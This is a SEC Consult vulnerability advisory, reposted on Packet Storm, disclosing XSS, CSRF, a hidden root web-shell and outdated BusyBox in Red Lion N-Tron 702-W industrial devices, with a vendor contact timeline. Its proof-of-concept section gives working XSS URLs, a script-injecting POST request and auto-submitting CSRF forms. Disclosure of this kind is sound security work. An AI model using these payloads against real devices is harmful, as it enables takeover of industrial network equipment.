Red Lion N-Tron 702-W / 702M12-W 2.0.26 XSS / CSRF / Shell

Authored by T. Weber | Site sec-consult.com

Posted Sep 3, 2020

Red Lion N-Tron 702-W and 702M12-W versions 2.0.26 and below suffer from cross site request forgery, hidden shell interface, cross site scripting and busybox vulnerabilities.

tags | exploit, shell, vulnerability, xss, csrf
advisories | CVE-2020-16204, CVE-2020-16206, CVE-2020-16208, CVE-2020-16210
SHA-256 | e256518864957 30ba652afb5121baaf7e7f37336a3e296f81df774de5fa1a7b8 Download | Favorite | View

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
SEC Consult Vulnerability Lab Security Advisory < 20200902-0 >
=======================================================================
               title: Multiple Vulnerabilities
             product: Red Lion N-Tron 702-W, Red Lion N-Tron 702M12-W
 vulnerable version: <=2.0.26
       fixed version:
          CVE number: CVE-2020-16210, CVE-2020-16206, CVE-2020-16208,
                      CVE-2020-16204
              impact: High
            homepage: https://www.redlion.net/
               found: 2020-02-28
                  by: T. Weber (Office Vienna)
                      SEC Consult Vulnerability Lab

                      An integrated part of SEC Consult
                      Europe | Asia | North America

                      https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"For over forty years, customers around the world have trusted Red Lion
Controls. Our award-winning industrial automation and
networking solutions provide critical information and controls to
improve productivity, working with numerous devices and diverse
protocols to access data."

Source: https://www.redlion.net


Business recommendation:
------------------------
The vendor recommends to change the hardware and use a newer product.
SEC Consult recommends to remove the device from productive environments.


Vulnerability overview/description:
-----------------------------------
1) Reflected Cross-Site Scripting (XSS) - CVE-2020-16210
A reflected cross-site scripting vulnerability was identified at the endpoint
"/pingtest_action.cgi". An attacker is also able to perform actions in the
context of the attacked user.

2) Stored Cross-Site Scripting (XSS) - CVE-2020-16206
Stored cross-site scripting vulnerabilities are present on multiple endpoints.
Such placed payloads cannot be detected via browser-protection mechanisms as
they are embedded into the web-interface.
An attacker is also able to perform actions in the context of the attacked user.

3) Cross-Site Request Forgery (CSRF) - CVE-2020-16208
CSRF protection is not implemented at all.
Such a vulnerability enables an attacker to modify different configurations of
a device by luring an authenticated user to click on a crafted link. An
attacker is able to take over the device by exploiting this vulnerability.

4) Hidden OS Web-Shell Interface - CVE-2020-16204
An undocumented interface, that contains a web-shell to the underlying OS, was
found to be present on the device. It is not referenced in the actual menu
and is also not mentioned in the manual of the device.
Commands can be executed as root on the device. A remote attacker can execute
system commands via this way in combination with vulnerability #3.

This endpoint seems to be a leftover of the used Atheros SDK.

5) Known BusyBox Vulnerabilities
The used BusyBox toolkit in version 1.11.0 is outdated and contains multiple
known vulnerabilities. The outdated version was found by IoT Inspector.

6) Outdated and Vulnerable Software Components
Outdated and vulnerable software components were found on the device during
a quick examination.

The vulnerabilities 1), 2), 3), 4) and 5) were manually verified on an emulated
device by using the MEDUSA scalable firmware runtime.


Proof of concept:
-----------------
1) Reflected Cross-Site Scripting (XSS) - CVE-2020-16210
The "pingtest_action.cgi" endpoint can be used to trigger reflected XSS.
http://$IP/pingtest_action.cgi?
action=pingtest&dst_ip_addr=1&dst_addr_select=127.0.0.1&lines=%3Chtml%3E%3Cscript%3Ealert(document.location)%3C/

2) Stored Cross-Site Scripting (XSS) - CVE-2020-16206
Injection of a XSS payload is possible on multiple endpoints. An example
for permanent XSS on the endpoint "/network.cgi" is the following request:
-------------------------------------------------------------------------------
POST /network.cgi HTTP/1.1
Host: $IP
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary---------------------------195698564115308644282115103021
Content-Length: 915
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Cookie: ui_language=en_US
Upgrade-Insecure-Requests: 1

-----------------------------195698564115308644282115103021
Content-Disposition: form-data; name="netmode"

bridge
-----------------------------195698564115308644282115103021
Content-Disposition: form-data; name="wlanipmode"

0
-----------------------------195698564115308644282115103021
Content-Disposition: form-data; name="brip"

192.168.1.202
-----------------------------195698564115308644282115103021
Content-Disposition: form-data; name="brmask"

255.255.255.0
-----------------------------195698564115308644282115103021
Content-Disposition: form-data; name="brgw"

192.168.1.1"><script>alert(document.location)</script>
-----------------------------195698564115308644282115103021
Content-Disposition: form-data; name="dns1"
```


File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

- Red Hat 150 files
- Ubuntu 68 files
- LiquidWorm 23 files
- Debian 16 files
- malvuln 11 files
- nu11secur1ty 11 files
- Gentoo 9 files
- Google Security Research 6 files
- Julien Ahrens 4 files
- T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
-----------------------------195698564115308644282115103021
Content-Disposition: form-data; name="dns2"


-----------------------------195698564115308644282115103021--
--------------------------------------------------------------------------------

This can also be embedded in the HTML code as shown below:
--------------------------------------------------------------------------------
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://$IP/network.cgi" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="netmode" value="bridge" />
      <input type="hidden" name="wlanipmode" value="0" />
      <input type="hidden" name="brip" value="192.168.1.202" />
      <input type="hidden" name="brmask" value="255.255.255.0" />
      <input type="hidden" name="brgw" value="192.168.1.1"><script>alert(document.location+" > SEC-Consult")
</script>" />
      <input type="hidden" name="dns1" value="" />
      <input type="hidden" name="dns2" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
--------------------------------------------------------------------------------

3) Cross-Site Request Forgery (CSRF) - CVE-2020-16208
CSRF can be triggered on each endpoint as the whole web-interface does not
implement any protection mechanisms. Changing the hostname to "SEC Consult" can
be done with the following embedded HTML code:
--------------------------------------------------------------------------------
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://$IP/system.cgi" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="hostname" value="SEC Consult" />
      <input type="hidden" name="action" value="chhost" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
--------------------------------------------------------------------------------

4) Hidden OS Web-Shell Interface - CVE-2020-16204
The endpoint "/admin.cgi" is not referenced within the whole web-interface and
also not documented in the manual. By browsing this endpoint, multiple actions
can be natively triggered:
 * Execute commands in context of the root user
 * Upload files
 * Download files
 * Change access rights
All other actions can be done via the command execution. The lack of CSRF
protections allows attackers to execute commands on the device by luring a
user on malicious web-pages.

5) Known BusyBox Vulnerabilities
The BusyBox shell autocompletion vulnerability (CVE-2017-16544) was verified on
an emulated device:

A file with the name "\ectest\n\e]55;test.txt\a" was created to trigger the
vulnerability.
--------------------------------------------------------------------------------
# ls "pressing <TAB>"
test
55\;test.txt
#
--------------------------------------------------------------------------------

6) Outdated Software Components
By analyzing the firmware a lot of components are found to be outdated:
 * BusyBox 1.0.1
 * PHP/FI 2.0.1
 * Dnsmasq 2.35
 * Boa 0.93.15

Vulnerable / tested versions:
-----------------------------
the following firmware version has been tested:
* Red Lion N-Tron 702-W / 2.0.26
* Red Lion N-Tron 702M12-W / 2.0.26


Vendor contact timeline:
------------------------
2020-03-09: Contacting vendor through support.emea@redlion.net; No answer.
2020-03-17: Asked for status update; No answer.
2020-03-30: Asked for status update, added incoming.ics-cert@redlion.net to
            the list of recipients; No answer.
2020-04-13: Requested support for coordination from CERT@VDE for the advisory.
            Sent the advisory to the CERT.
2020-04-14: Security contact from CERT@VDE answered, that ICS-CERT was also in-
            formed.
2020-07-17: Asked contact at ICS-CERT for status update; Contact stated that
            they are waiting for an update of Red Lion.
2020-08-20: Received CISA draft for an advisory from CERT@VDE.
2020-08-28: Found the published advisory on CISA's website* which was released
            on 2020-08-27.
2020-09-02: Release of security advisory.

* https://us-cert.cisa.gov/ics/advisories/icsa-20-240-01

Solution:
---------
Upgrade to newer hardware.


Workaround:
-----------
None.


Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/career/index.html

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/contact/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF T. Weber / @2020
```


Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

packet storm

Site Links

- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory

About Us

- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By

- Rokasec

Follow us on Twitter

Subscribe to an RSS Feed